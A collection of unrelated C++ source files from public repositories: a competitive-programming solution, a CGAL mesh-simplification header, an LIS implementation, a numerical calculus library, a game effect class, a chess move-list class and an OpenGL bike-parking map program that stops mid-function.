1d14bc2e0365fa74d8f494625d49ea64082e1d3d | 11a20ac282fedba2a9034eb7cb570f009b19e004 | /CF215-D2-B/solution.cpp | 8b6d852eeae85239e7e24d9d96f1a5f6cc992817 | [] | no_license | aleung27/Competitive-Programming | b10b0c62e5cafbc783c580f2e2b3693c9f30ce3c | 561a8eb0309e2852c530ea93ee0e5678cc614a7c | refs/heads/master | 2022-03-14T15:55:37.467603 | 2022-03-06T12:47:23 | 2022-03-06T12:47:23 | 252,998,658 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,069 | cpp | solution.cpp | #include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
#define X real()
#define Y imag()
#define EPS 0.000000001
#define M_PI 3.14159265358979323846
#define CROSSPROD(a, b) (conj(a)*b).Y
#define FASTIO ios::sync_with_stdio(false);
int dx[] = {1, -1, 0, 0, 1, -1, 1, -1};
int dy[] = {0, 0, 1, -1, 1, -1, -1, 1};
template <class T>
T gcd(T a, T b) {
if (b == 0) return a;
return gcd(b, a%b);
}
int main () {
int n, next;
scanf("%d", &n);
int r1 = INT_MIN;
int p1 = INT_MIN;
int p2 = INT_MAX;
for(int i = 0; i < n; i++) {
scanf("%d", &next);
if(next > r1) r1 = next;
}
int m;
scanf("%d", &m);
for(int i = 0; i < m; i++) {
scanf("%d", &next);
if(next > p1) p1 = next;
}
int k;
scanf("%d", &k);
for(int i = 0; i < k; i++) {
scanf("%d", &next);
if(next < p2) p2 = next;
}
int a, b;
scanf("%d %d", &a, &b);
printf("%.10lf\n", sqrt(r1*r1*(double(b*p1)/double(a*p2 + b*p1))));
return 0;
}
|
af7ba74cad04c62e77f06b43206359daf5c3b624 | 5286798f369775a6607636a7c97c87d2a4380967 | /thirdparty/cgal/CGAL-5.1/include/CGAL/Surface_mesh_simplification/edge_collapse.h | fea5e2f3a7bd533bca2d73d313ba782e2e3b0c65 | [
"GPL-3.0-only",
"LGPL-2.1-or-later",
"LicenseRef-scancode-proprietary-license",
"GPL-1.0-or-later",
"LGPL-2.0-or-later",
"MIT",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-unknown-license-reference",
"MIT-0",
"LGPL-3.0-only",
"LGPL-3.0-or-later"
] | permissive | MelvinG24/dust3d | d03e9091c1368985302bd69e00f59fa031297037 | c4936fd900a9a48220ebb811dfeaea0effbae3ee | refs/heads/master | 2023-08-24T20:33:06.967388 | 2021-08-10T10:44:24 | 2021-08-10T10:44:24 | 293,045,595 | 0 | 0 | MIT | 2020-09-05T09:38:30 | 2020-09-05T09:38:29 | null | UTF-8 | C++ | false | false | 4,854 | h | edge_collapse.h | // Copyright (c) 2006 GeometryFactory (France). All rights reserved.
//
// This file is part of CGAL (www.cgal.org).
//
// $URL: https://github.com/CGAL/cgal/blob/v5.1/Surface_mesh_simplification/include/CGAL/Surface_mesh_simplification/edge_collapse.h $
// $Id: edge_collapse.h 618a72b 2020-03-17T20:00:31+01:00 Mael Rouxel-Labbé
// SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial
//
// Author(s) : Fernando Cacciola <fernando.cacciola@geometryfactory.com>
//
#ifndef CGAL_SURFACE_MESH_SIMPLIFICATION_EDGE_COLLAPSE_H
#define CGAL_SURFACE_MESH_SIMPLIFICATION_EDGE_COLLAPSE_H
#include <CGAL/license/Surface_mesh_simplification.h>
#include <CGAL/boost/graph/properties.h>
#include <CGAL/boost/graph/Named_function_parameters.h>
#include <CGAL/boost/graph/named_params_helper.h>
#include <CGAL/Surface_mesh_simplification/internal/Common.h>
#include <CGAL/Surface_mesh_simplification/internal/Edge_collapse.h>
#include <CGAL/Surface_mesh_simplification/Policies/Edge_collapse/LindstromTurk.h>
namespace CGAL {
namespace Surface_mesh_simplification {
namespace internal {
template<class TM,
class GT,
class ShouldStop,
class VertexIndexMap,
class VertexPointMap,
class HalfedgeIndexMap,
class EdgeIsConstrainedMap,
class GetCost,
class GetPlacement,
class Visitor>
int edge_collapse(TM& tmesh,
const ShouldStop& should_stop,
// optional mesh information policies
const GT& traits,
const VertexIndexMap& vim, // defaults to get(vertex_index, tmesh)
const VertexPointMap& vpm, // defaults to get(vertex_point, tmesh)
const HalfedgeIndexMap& him, // defaults to get(edge_index, tmesh)
const EdgeIsConstrainedMap& ecm, // defaults to No_constrained_edge_map<TM>()
// optional strategy policies - defaults to LindstomTurk
const GetCost& get_cost,
const GetPlacement& get_placement,
Visitor visitor)
{
typedef EdgeCollapse<TM, GT, ShouldStop,
VertexIndexMap, VertexPointMap, HalfedgeIndexMap, EdgeIsConstrainedMap,
GetCost, GetPlacement, Visitor> Algorithm;
Algorithm algorithm(tmesh, traits, should_stop, vim, vpm, him, ecm, get_cost, get_placement, visitor);
return algorithm.run();
}
struct Dummy_visitor
{
template<class TM>
void OnStarted(TM&) const {}
template<class TM>
void OnFinished(TM&) const {}
template<class Profile>
void OnStopConditionReached(const Profile&) const {}
template<class Profile, class OFT>
void OnCollected(const Profile&, const OFT&) const {}
template<class Profile, class OFT, class Size_type>
void OnSelected(const Profile&, const OFT&, Size_type, Size_type) const {}
template<class Profile, class OPoint>
void OnCollapsing(const Profile&, const OPoint&) const {}
template<class Profile, class VH>
void OnCollapsed(const Profile&, VH) const {}
template<class Profile>
void OnNonCollapsable(const Profile&) const {}
};
} // namespace internal
template<class TM, class ShouldStop, class NamedParameters>
int edge_collapse(TM& tmesh,
const ShouldStop& should_stop,
const NamedParameters& np)
{
using parameters::choose_parameter;
using parameters::get_parameter;
typedef typename GetGeomTraits<TM, NamedParameters>::type Geom_traits;
return internal::edge_collapse(tmesh, should_stop,
choose_parameter<Geom_traits>(get_parameter(np, internal_np::geom_traits)),
CGAL::get_initialized_vertex_index_map(tmesh, np),
choose_parameter(get_parameter(np, internal_np::vertex_point),
get_property_map(vertex_point, tmesh)),
CGAL::get_initialized_halfedge_index_map(tmesh, np),
choose_parameter<No_constrained_edge_map<TM> >(get_parameter(np, internal_np::edge_is_constrained)),
choose_parameter<LindstromTurk_cost<TM> >(get_parameter(np, internal_np::get_cost_policy)),
choose_parameter<LindstromTurk_placement<TM> >(get_parameter(np, internal_np::get_placement_policy)),
choose_parameter<internal::Dummy_visitor>(get_parameter(np, internal_np::graph_visitor)));
}
template<class TM, class ShouldStop>
int edge_collapse(TM& tmesh, const ShouldStop& should_stop)
{
return edge_collapse(tmesh, should_stop, CGAL::parameters::all_default());
}
} // namespace Surface_mesh_simplification
} // namespace CGAL
#endif // CGAL_SURFACE_MESH_SIMPLIFICATION_EDGE_COLLAPSE_H
|
8cad9b1ebebe9059aec86ef77b6248a1cc0e5d2f | 35d46b4c57464075f877f3c1686d44f21ae97eb3 | /dynamic_programming/lis.cpp | f7469e5417a8f33a50284c86f9afc5f6645c102e | [
"CC0-1.0"
] | permissive | fredbr/algorithm-implementations | ded9331b438169e859fee234097d2173adc199c1 | 19da93dc4632cbba91f6014e821f9b08b4e00248 | refs/heads/master | 2021-06-22T20:21:55.457869 | 2020-12-03T00:11:36 | 2020-12-03T00:11:36 | 145,747,916 | 13 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 828 | cpp | lis.cpp | #include <bits/stdc++.h>
using namespace std;
template <int sz>
struct Bit
{
int b[sz];
void upd(int x, int val)
{
for (int i = x; i < sz; i += i&-i)
b[i] = max(b[i], val);
}
int get(int x)
{
int ans = 0;
for (int i = x; i; i -= i&-i)
ans = max(ans, b[i]);
return ans;
}
};
template <typename T>
void compress(T* v, int n)
{
vector<T> vv(n+1);
for (int i = 1; i <= n; i++)
vv[i] = v[i];
sort(vv.begin()+1, vv.end());
for (int i = 1; i <= n; i++)
v[i] = lower_bound(vv.begin()+1, vv.end(), v[i]) - vv.begin();
}
const int maxn = 101010;
int v[maxn];
Bit<maxn> bt;
int main()
{
int n;
cin >> n;
for (int i = 1; i <= n; i++)
cin >> v[i];
compress(v, n);
for (int i = 1; i <= n; i++) {
int x = bt.get(v[i]-1);
bt.upd(v[i], x+1);
}
int ans = bt.get(n);
cout << ans << "\n";
} |
19399fa62e2cef3151b7cf529e434afb19fafc10 | c8e165aa477a03fae05db72a50f585aab16fa0d1 | /AlgorithmsKG/calculus.cpp | c3e15c5e3239b7230fab4cd5bd421be73a3c1e18 | [] | no_license | jackokring/qtap | c1048de694e579b49f007f89fc5be116820893e8 | 7a2b28be2e66e4cb69538494979f0c079000aef6 | refs/heads/master | 2020-09-27T13:06:45.470779 | 2020-01-31T14:11:18 | 2020-01-31T14:11:18 | 226,522,814 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,783 | cpp | calculus.cpp | #include "calculus.h"
#include <math.h>
#include "minblep.cpp"
//WARNING WILL ROBINSON may contain traces of GB 1905339.6 Pat. Pending.
Calculus::Calculus(double sampleStep) {
h = sampleStep;
}
void Calculus::differential(double *input, double *output) {
//coefficients via http://web.media.mit.edu/~crtaylor/calculator.html
//all done from prospective of sample input[0]
double t = h;
output[0] = input[0];
double co1[] = { 105, -960, 3920, -9408, 14700, -15680, 11760, -6720, 2283 };
output[1] = sum(co1, input - 8, input) / (840 * t);
t *= h;
double co2[] = { 3267, -29664, 120008, -284256, 435330, -448672, 312984, -138528, 29531 };
output[2] = sum(co2, input - 8, input) / (5040 * t);
t *= h;
double co3[] = { 469, -4216, 16830, -39128, 58280, -57384, 36706, -13960, 2403 };
output[3] = sum(co3, input - 8, input) / (240 * t);
t *= h;
double co4[] = { 967, -8576, 33636, -76352, 109930, -102912, 61156, -21056, 3207 };
output[4] = sum(co4, input - 8, input) / (240 * t);
t *= h;
double co5[] = { 35, -305, 1170, -2581, 3580, -3195, 1790, -575, 81 };
output[5] = sum(co5, input - 8, input) / (6 * t);
t *= h;
double co6[] = { 23, -196, 732, -1564, 2090, -1788, 956, -292, 39 };
output[6] = sum(co6, input - 8, input) / (4 * t);
t *= h;
double co7[] = { 7, -58, 210, -434, 560, -462, 238, -70, 9 };
output[7] = sum(co7, input - 8, input) / (2 * t);
t *= h;
double co8[] = { 1, -8, 28, -56, 70, -56, 28, -8, 1 };
output[8] = sum(co8, input - 8, input) / (1 * t);
}
double Calculus::future(double *input) {
double co1[] = { 1, -9, 36, -84, 126, -126, 84, -36, 9 };//0th differential in the future
return sum(co1, input - 8, input);
}
double Calculus::sum(double *coeff, double *inputBegin, double *inputEnd, int step) {
volatile double residual = 0.0;
double add = 0.0;
double temp;
for(; inputBegin <= inputEnd; inputBegin += step) {
temp = (*(coeff++)) * (*inputBegin);
double test = add + (temp + residual);
residual = (temp + residual) - (test - add);
add = test;
}
return add;
}
void Calculus::atTick(uint64_t now) {
tick = now;
}
void Calculus::setSigma(double sigmaValue) {
sigma = sigmaValue;
}
void Calculus::next() {
tick++;
}
void Calculus::expDecay(double *inputBegin, double *inputEnd, double *output,
int step, bool splitDistribute) {//from now
uint64_t tt = tick - (inputEnd - inputBegin) / step;//work out sampled start time
for(; inputBegin <= inputEnd; inputBegin += step) {
(*(output++)) = (*inputBegin) * expm1(-(sigma * h * tt)) +
(splitDistribute ? 0.0 :(*inputBegin));
tt += 1;
}
}
void Calculus::cumSum(double *inputBegin, double *inputEnd, double *output, int step) {
volatile double residual = 0.0;
double add = 0.0;
double temp;
for(; inputBegin <= inputEnd; inputBegin += step) {
temp = (*inputBegin);
double test = add + (temp + residual);
residual = (temp + residual) - (test - add);
(*(output++)) = test;
}
}
/*===================================================================
* THREE BELOW ACCELERATIONS WORK WITH CUMULATIVE SUMS OF SERIES
* ================================================================*/
bool Calculus::seriesAccel(double *inputBegin, double *inputEnd,
double *output, int step, bool outsToo) {
if(inputBegin == inputEnd) {
*output = *inputBegin;
return true;//convergence extra not possible
}
inputBegin += step;
inputEnd -= step;
double temp;
double nm1;
double np1;
double temp2;
if(inputBegin > inputEnd) {
*output = (*(inputBegin - 1) + *inputBegin) / 2.0;
return true;//convergence extra not possible
}
bool cov = (inputBegin == inputEnd);
for(; inputBegin <= inputEnd; inputBegin += step) {
//Shank's method
nm1 = *(inputBegin - step);
np1 = *(inputBegin + step);
temp = temp2 = (np1 - *inputBegin);
temp *= temp;
temp2 -= (*inputBegin - nm1);
if(temp2 == 0.0) {
temp = 0.0;//pass through as no delta
} else {
temp /= temp2;
}
*output = np1 - temp;
output += outsToo ? step : 1;//step outs for replacements
}
return cov;
}
double Calculus::seriesAccelLim(double *inputBegin, double *inputEnd, int step) {
while(!seriesAccel(inputBegin, inputEnd, inputBegin, step, true)) {//overwrite
inputEnd -= 2;//two off end
}
return *inputBegin;
}
//for an application test on sets of convergents as a series which has same limit?
double Calculus::seriesAccelLim2(double *inputBegin, double *inputEnd,
int step, uint nest) {
if(nest > 1) {
seriesAccelLim(inputEnd, inputBegin, step *= -2);
return seriesAccelLim2(inputEnd, inputBegin, step, --nest);
}
return seriesAccelLim(inputEnd, inputBegin, step *= -2);
}
void Calculus::preMul(double *coeff, double *inputBegin, double *inputEnd, double *output, int step) {
for(; inputBegin <= inputEnd; inputBegin += step) {
(*(output++)) = *inputBegin * *(coeff++);//pre multiply by coeeficients
}
}
void Calculus::map(double fn(double), double *inputBegin, double *inputEnd, double *output, int step) {
for(; inputBegin <= inputEnd; inputBegin += step) {
(*(output++)) = fn(*inputBegin);
}
}
double entropic(double x) {
return -x * log2(x);
}
void Calculus::entropy(double *inputBegin, double *inputEnd, double *output, int step) {
map(entropic, inputBegin, inputEnd, output, step);
}
void Calculus::integralPreMul(double *input) {
double fact = 1.0;//and sign
double time = (double)tick * h;
double xacc = time;
for(uint i = 0; i < 9; ++i) {
*input++ *= xacc * fact;
fact /= -(double)i;
xacc *= time;
}
}
double Calculus::differential9(double *input) {
input[1] = future(input);//create estimate
differential(input + 1, input + 1);//future differential estimates
double co9[] = { -4, 37, -152, 364, -560, 574, -392, 172, -44, 5 };//an extra term
double t = h;
t *= t;
t *= t;
t *= t;
return sum(co9, input - 8, input + 1) / (1 * t) - *(input + 9);//8th derivative difference for stability of prediction
}
void Calculus::integral(double *input, double *output) {//input[-8] to input[0]
differential(input, output);
integralPreMul(output);
cumSum(output, output + 8, output);
seriesAccelLim(output, output + 8);//eventually output[0] plus some buffered junk upto output[8]
}
void Calculus::sparseLaplace(double *input, double *output) {
integral(input, output);
double buff[9];
expDecay(input - 8, input, buff + 8, 1, true);//do as easy part
double clobber = output[0];
integral(buff + 8, output);
output[0] += clobber;
}
Blep::Blep(uint zeros, uint oversample, uint trunc) {
scales = GenerateMinBLEP(zeros, oversample);
max = (zeros * 2 * oversample) + 1;
max /= trunc;//by parts for speed tradeoff
array = new double[max]{};
residual = new double[max]{};
}
Blep::~Blep() {
delete [] residual;
delete [] array;
}
double Blep::out(uint sampleInc) {//allows undersampling
double val = array[index];
for(uint i = 0; i < sampleInc; ++i) {
array[index++] = 0.0;//reset
}
index %= max;//limit
return val;
}
void Blep::in(double value) {
value += residual[indexw];
for(uint i = 0; i < max - 1 /* the left */; ++i) {
array[(i + indexw) % max] += value * scales[i];
}
residual[indexw++] = value * (scales[max - 1] - 1.0);//last residual from actual
indexw %= max;
}
DBuffer::DBuffer(uint size, uint over) {
max = size + over;
array = new double[max]{};
limit = size;
}
DBuffer::~DBuffer() {
delete [] array;
}
double *DBuffer::outAddress(double *address, int step) {
if(step > 0) {
//data was inserted positive
if(address > &array[limit]) {
return &array[address - array - limit];
}
} else {
if(address < &array[max - limit]) {
return &array[limit + address - array];
}
}
return address;
}
void DBuffer::fixBuffer(int step) {
for(uint i = 0; i < max - limit; ++i) {
if(step > 0) {
//data was inserted positive
array[i] = array[limit + i];
} else {
array[limit + i] = array[i];
}
}
}
double *DBuffer::useAddress(double *address, int step) {
double *addr = outAddress(address, step);
if(addr != address) fixBuffer(step);
return addr;
}
|
79120990d53eb1b9aacaa7eb498c3c1bcdc03b3b | 1c760929c7aab6dcb15e99928ecd3abf24f496df | /Client/Eff_Transform.cpp | 27bec297010008252c857dd2b77652aeb0027d06 | [] | no_license | 4roring/KK1_Kirby | dff28c103c8e5995dcf81e99091d0b9859c469e9 | 934ff3703684c53e844712045616b72605d02a99 | refs/heads/master | 2021-09-27T02:12:04.688050 | 2018-11-05T16:29:47 | 2018-11-05T16:29:47 | 118,299,789 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 700 | cpp | Eff_Transform.cpp | #include "stdafx.h"
#include "Eff_Transform.h"
CEff_Transform::CEff_Transform()
{
}
CEff_Transform::~CEff_Transform()
{
}
void CEff_Transform::Initialize()
{
m_tInfo.fCX = 243.f;
m_tInfo.fCY = 249.f;
m_pFrameKey = TEXT("Transform_Effect");
}
void CEff_Transform::LateInit()
{
m_tFrame.iStart = 0;
m_tFrame.iEnd = 9;
m_tFrame.iScene = 0;
m_tFrame.dwTime = GetTickCount();
m_tFrame.dwSpeed = 40;
}
OBJ_STATE CEff_Transform::Update()
{
if (m_tFrame.iStart == m_tFrame.iEnd)
return DESTROY;
return PLAY;
}
void CEff_Transform::LateUpdate()
{
FrameMove();
UpdateRect();
}
void CEff_Transform::Render(HDC hDC)
{
DrawObject(hDC, m_pFrameKey);
}
void CEff_Transform::Release()
{
}
|
47c4ecba4fe406e7116228e6c0a88d0d6f288092 | 7d792b442b07f53ee9c88543b09414524bbd556a | /Cheese Practice/Movelist.cpp | 62691924ef5c9e45221dc6c468bf922535ad9c00 | [] | no_license | sonyshot/Chess-program | 079bfdcd64a2713c2981b62f3af7196b14f0b34c | 2e370fd03ece4f226e8e470bbe9be0b314d79687 | refs/heads/master | 2021-06-19T00:45:23.939609 | 2017-07-04T15:53:57 | 2017-07-04T15:53:57 | 74,618,664 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,895 | cpp | Movelist.cpp |
#include "Movelist.h"
Movelist::Movelist(Board * board) {
m_board = board;
if (!m_font.loadFromFile("C:\\Windows\\Fonts\\arial.ttf")) {
std::cout << "failed to load font" << std::endl;
}
m_text.setFont(m_font);
m_text.setString(m_printMoves);
m_text.setFillColor(sf::Color::White);
m_text.setPosition(800.f, 0.f);
};
Movelist::~Movelist() {
for (int i = 0; i < m_captureList.size(); i++) {
delete m_captureList[i];
}
}
std::string Movelist::squareName(std::array<int, 2> square) {
std::string output;
switch (square[0]) {
case 0:
output.append("a");
break;
case 1:
output.append("b");
break;
case 2:
output.append("c");
break;
case 3:
output.append("d");
break;
case 4:
output.append("e");
break;
case 5:
output.append("f");
break;
case 6:
output.append("g");
break;
case 7:
output.append("h");
break;
};
output.append(std::to_string(square[1] + 1));
return output;
};
std::string Movelist::newSquareNotation(std::array<int, 2> square, ChessMoves specialMove) {
std::string output;
switch (specialMove) {
case ChessMoves::NORMAL:
output.append(squareName(square));
return output;
break;
case ChessMoves::CASTLE:
//castle
if (square[0] == 6)
output.append("0-0");
else
output.append("0-0-0");
return output;
break;
case ChessMoves::PROMOTION:
//promotion
output.append("=Q");
return output;
break;
case ChessMoves::ENPASSANT:
//en passant
output.append(squareName(square));
output.append(" e.p.");
return output;
break;
}
}
std::string Movelist::printableString(std::array<std::array<int, 2>, 2> move, Piece* piece, ChessMoves specialMove) {
std::string output;
if (piece->getColor() == 1)
output = "\n";
else
output = "-";
switch(specialMove) {
case ChessMoves::NORMAL:
if ((m_board->inSpace(move[1])->getColor() == 0) ? 0 : 1) {
if (piece->getName() == "")
output.append(squareName(move[0]).substr(0, 1));
else
output.append(piece->getName());
output.append("x");
}
else {
output.append(piece->getName());
}
output.append(newSquareNotation(move[1], specialMove));
return output;
break;
case ChessMoves::CASTLE:
//castle--------------------------------------------------------------
output.append(newSquareNotation(move[1], specialMove));
return output;
break;
case ChessMoves::PROMOTION:
//promotion------------------------------------------------------------
if ((m_board->inSpace(move[1])->getColor() == 0) ? 0 : 1)
output.append(squareName(move[0]).substr(0, 1) + "x");
output.append(newSquareNotation(move[1], specialMove));
return output;
break;
case ChessMoves::ENPASSANT:
//en passant-----------------------------------------------------------
output.append(squareName(move[0]).substr(0, 1));
output.append("x");
output.append(newSquareNotation(move[1], specialMove));
return output;
break;
}
}
void Movelist::addToMovelist(std::array<int, 2> currentPos, std::array<int, 2> newPos) {
//special moves are indicated in m_moveType vector: 1 - castling; 2 - promotion; 3 - en passant
if (m_board->inSpace(currentPos)->canCastle(newPos)) {
m_movelist.push_back({ currentPos, newPos }); //add from-to positions to movelist
m_captureList.push_back(m_board->inSpace(newPos)); //put captured piece into list
m_captureList.back()->setCapture(1);
m_moveType.push_back(ChessMoves::CASTLE);
m_text.setString(m_printMoves.append(printableString({ currentPos, newPos }, m_board->inSpace(currentPos), ChessMoves::CASTLE)));
}
else if (m_board->inSpace(currentPos)->canPromote(newPos)) {
m_movelist.push_back({ currentPos, newPos }); //add from-to positions to movelist
m_captureList.push_back(m_board->inSpace(newPos));
m_captureList.back()->setCapture(1);
m_moveType.push_back(ChessMoves::PROMOTION);
m_text.setString(m_printMoves.append(printableString({ currentPos, newPos }, m_board->inSpace(currentPos), ChessMoves::PROMOTION)));
}
else if (m_board->inSpace(currentPos)->canEnPassant(newPos)) {
m_movelist.push_back({ currentPos, newPos }); //add from-to positions to movelist
m_captureList.push_back(m_board->inSpace({ newPos[0], currentPos[1] }));
m_captureList.back()->setCapture(1);
m_moveType.push_back(ChessMoves::ENPASSANT);
m_text.setString(m_printMoves.append(printableString({ currentPos, newPos }, m_board->inSpace(currentPos), ChessMoves::ENPASSANT)));
}
else {
m_movelist.push_back({ currentPos, newPos }); //add from-to positions to movelist
m_captureList.push_back(m_board->inSpace(newPos));
m_captureList.back()->setCapture(1);
m_moveType.push_back(ChessMoves::NORMAL);
m_text.setString(m_printMoves.append(printableString({ currentPos, newPos }, m_board->inSpace(currentPos), ChessMoves::NORMAL)));
}
}
void Movelist::removeFromMovelist() {
//special considerations for moving pieces back into the board are done via undoMove within the board
//this function simply removes the last entry of each stored list and corrects the movelist text accordingly
//0-normal move; 1-castling; 2-promotion; 3-en passant
if (m_moveType.back() == ChessMoves::NORMAL) {
std::size_t found = m_printMoves.find_last_of("-\n");
m_printMoves.erase(found, m_printMoves.length() - found);
}
else if (m_moveType.back() == ChessMoves::CASTLE) {
if (m_movelist.back()[1][0] == 6) {
//kingside castling
m_printMoves.erase(m_printMoves.length() - 4, 4);
}
else
{
//queenside castling
m_printMoves.erase(m_printMoves.length() - 6, 6);
}
}
else if (m_moveType.back() == ChessMoves::PROMOTION) {
std::size_t found = m_printMoves.find_last_of("-\n");
m_printMoves.erase(found, m_printMoves.length() - found);
}
else if(m_moveType.back() == ChessMoves::ENPASSANT) {
std::size_t found = m_printMoves.find_last_of("-\n");
m_printMoves.erase(found, m_printMoves.length() - found);
}
m_text.setString(m_printMoves);
m_movelist.pop_back();
m_captureList.pop_back();
m_moveType.pop_back();
}
std::array<std::array<int, 2>, 2> Movelist::previousMove() {
if (m_movelist.size() == 0) {
std::array<int, 2> zeros = { 0, 0 };
return std::array<std::array<int, 2>, 2> { zeros, zeros };
}
else {
return m_movelist.back();
}
}
void Movelist::draw(sf::RenderTarget& target, sf::RenderStates states) const {
target.draw(m_text, states);
}
std::string Movelist::hashBoard() {
std::string key;
Piece * currentPiece;
for (int i = 0; i < 64; i++) {
currentPiece = m_board->m_squares[i];
key.append(hashPiece(currentPiece));
}
if (m_board->turn == 1)
key.append("+");
else
key.append("-");
return key;
}
std::string Movelist::hashPiece(Piece * piece) {
std::string output;
//each component of hash starts with piece 'name'
if (piece->getName() == "") {
output.append("P");
}
else {
output.append(piece->getName());
}
//add the piece color
if (piece->getName() != "S")
output.append(std::to_string(piece->getColor()));
// extra character for pieces with special moves
if (piece->getName() == "") {
if (piece->canEnPassant({ piece->getPosition()[0] - 1, piece->getPosition()[1] + piece->getColor() })) {
output.append("1"); //en passant left available
}
else if (piece->canEnPassant({ piece->getPosition()[0] + 1, piece->getPosition()[1] + piece->getColor() })) {
output.append("2"); //en passant right available
}
else {
output.append("0"); //can't en passant
}
}
else if (piece->getName() == "R") {
if (!piece->hasMoved())
output.append("1"); //can't castle
else
output.append("0");
}
else if(piece->getName() == "K"){
if (piece->canCastle({ piece->getPosition()[0] + 2, piece->getPosition()[1] }))
output.append("1"); //castle right
else if (piece->canCastle({ piece->getPosition()[0] - 2, piece->getPosition()[1] }))
output.append("2"); //castle left
else
output.append("0"); //can't castle
}
return output;
} |
c31083482ec46ef29b35139c4d6c3be3d4f18161 | e308205f0c6d2b2ad54965b18a54c22fab97255a | /OOP_L9/App1/Complex.h | faa8e1659c71f3f984f1e7ed69be35b1f931a444 | [] | no_license | NiculescuAndrei/Object_Oriented_Programming | 247ac198a76262ab9041b3dbbe38f6eb77b6f879 | 258f445e1042a2240be512097bf60be662fc2773 | refs/heads/main | 2023-08-22T02:35:02.292520 | 2021-09-21T15:14:51 | 2021-09-21T15:14:51 | 407,909,731 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 519 | h | Complex.h | #pragma once
class Complex
{
public:
Complex(double p_reala = 0, double p_imaginara = 0) :parte_reala(p_reala), parte_imaginara(p_imaginara) {}
Complex(Complex&);
void setParteReala();
void setParteImaginara();
double getParteReala();
double getParteImaginara();
void afisare();
void operator=(const Complex&);
friend Complex operator+(Complex&, Complex&);
friend Complex operator-(Complex&, Complex&);
friend Complex operator*(Complex&, Complex&);
private:
double parte_reala;
double parte_imaginara;
};
|
6ad26b52e627337d87f14bb711cb36e8519f1a7f | 45636ea7795399f193a1fc65e6e8c240828c7a2d | /bike_map.cpp | c8d1b7cdd8cdbf27677e4bdd7fb3e2a5fc0efcf0 | [] | no_license | hlgrogan/Graphics-Map-Project | 3950a0a62a87b8dc4cf4a599ddad18fb9ac14066 | f584d90e54f7266bb61acd23c52d75699c12dd2f | refs/heads/master | 2021-01-16T18:45:29.026983 | 2015-04-24T21:29:12 | 2015-04-24T21:29:52 | 33,617,631 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 11,415 | cpp | bike_map.cpp | //written by Sarah Hall, Hailey Grogan, and Erik Lundquist
#ifdef __APPLE__
# include <GL/glew.h>
# include <GL/freeglut.h>
# include <OpenGL/glext.h>
#else
# include <GL/glew.h>
# include <GL/freeglut.h>
# include <GL/glext.h>
#pragma comment(lib, "glew32.lib")
#endif
#include <cstdlib>
#include <cmath>
#include <iostream>
#include <fstream>
#include "getbmp.h"
#define PI 3.14159265
#define N 40.0 // Number of vertices on the boundary of the disc.
//coords drawing:
static float y_min = 35.041462;
static float y_max = 35.052715;
static float x_min = -85.304204;
static float x_max = -85.289526;
static int inRange = 0;
static float width = 684.0;
static float height = 640.0;
static int keyDiscOffset = 30;
static int keyTextOffset = 50;
static int keyTypeOffset = 25;
static long font = (long)GLUT_BITMAP_8_BY_13; // Font selection.
static bool showMap = true;
static bool showName = false;
static int nameIndex = -1;
static unsigned int texture[1];
static string data_array[7][300];
using namespace std;
typedef struct parking
{
string type;
string name;
float x;
float y;
int capacity;
int selected;
} parking;
static parking allParking[300];
float getCapacity(int capacity)
{
//for ones with unknown capacity
if (capacity == 0)
{
return -7;
}
//modify for draw size
return capacity * 1.5;
}
void read_file(){
ifstream csv_file("Bicycle-Parking.csv");
string value;
int array_x = 0;
int array_y = 0;
int line_count = 0;
//delete first line
getline(csv_file, value);
//read file
while (!csv_file.eof()){
getline(csv_file, value, ',');
int pos;
if ((pos = value.find('\n')) != string::npos)
value.erase(pos, 1);
data_array[array_x][array_y] = value;
array_x++;
array_x = array_x % 7;
if (array_x == 0)
{
array_y++;
line_count++;
}
}
//find spots on UTC map
for (int i = 0; i < line_count; i++)
{
//if disc is in range of UTC map
if (stof(data_array[5][i]) >= x_min && stof(data_array[5][i]) <= x_max &&
stof(data_array[6][i]) >= y_min && stof(data_array[6][i]) <= y_max)
{
allParking[inRange].capacity = stof(data_array[3][i]);
allParking[inRange].x = stof(data_array[5][i]);
allParking[inRange].y = stof(data_array[6][i]);
allParking[inRange].type = data_array[2][i];
allParking[inRange].name = data_array[1][i];
inRange++;
}
}
}
//get x for drawing
float getXOffset(float longitude)
{
return (x_max - longitude) / (x_max - x_min) * width;
}
//get y for drawing
float getYOffset(float latitude)
{
return (y_max - latitude) / (y_max - y_min) * height;
}
// Routine to draw a bitmap character string.
void writeBitmapString(void *font, char *string)
{
char *c;
for (c = string; *c != '\0'; c++) glutBitmapCharacter(font, *c);
}
// Routine to output interaction instructions to the C++ window.
void printInteraction(void)
{
cout << "Interaction:" << endl;
cout << "Hold shift to view the key." << endl
<< "Mouse over a location to see its name and capacity." << endl;
}
void drawParking(float R, float X, float Y, float Z)
{
//unknown size gets cubes
if (R <= 0)
{
R = -R;
glBegin(GL_TRIANGLES);
glVertex3f(X, Y, Z);
glVertex3f(X + R, Y, Z);
glVertex3f(X + R, Y + R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X + R, Y + R, Z);
glVertex3f(X, Y + R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X, Y + R, Z);
glVertex3f(X - R, Y + R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X - R, Y + R, Z);
glVertex3f(X - R, Y, Z);
glVertex3f(X, Y, Z);
glVertex3f(X - R, Y, Z);
glVertex3f(X - R, Y - R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X - R, Y - R, Z);
glVertex3f(X, Y - R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X, Y - R, Z);
glVertex3f(X + R, Y - R, Z);
glVertex3f(X, Y, Z);
glVertex3f(X + R, Y - R, Z);
glVertex3f(X + R, Y, Z);
glEnd();
}
//known size gets circles
else
{
float t;
int i;
glBegin(GL_TRIANGLE_FAN);
glVertex3f(X, Y, Z);
for (i = 0; i <= N; ++i)
{
t = 2 * PI * i / N;
glVertex3f(X + cos(t) * R, Y + sin(t) * R, Z);
}
glEnd();
}
}
// Load external textures.
void loadExternalTextures()
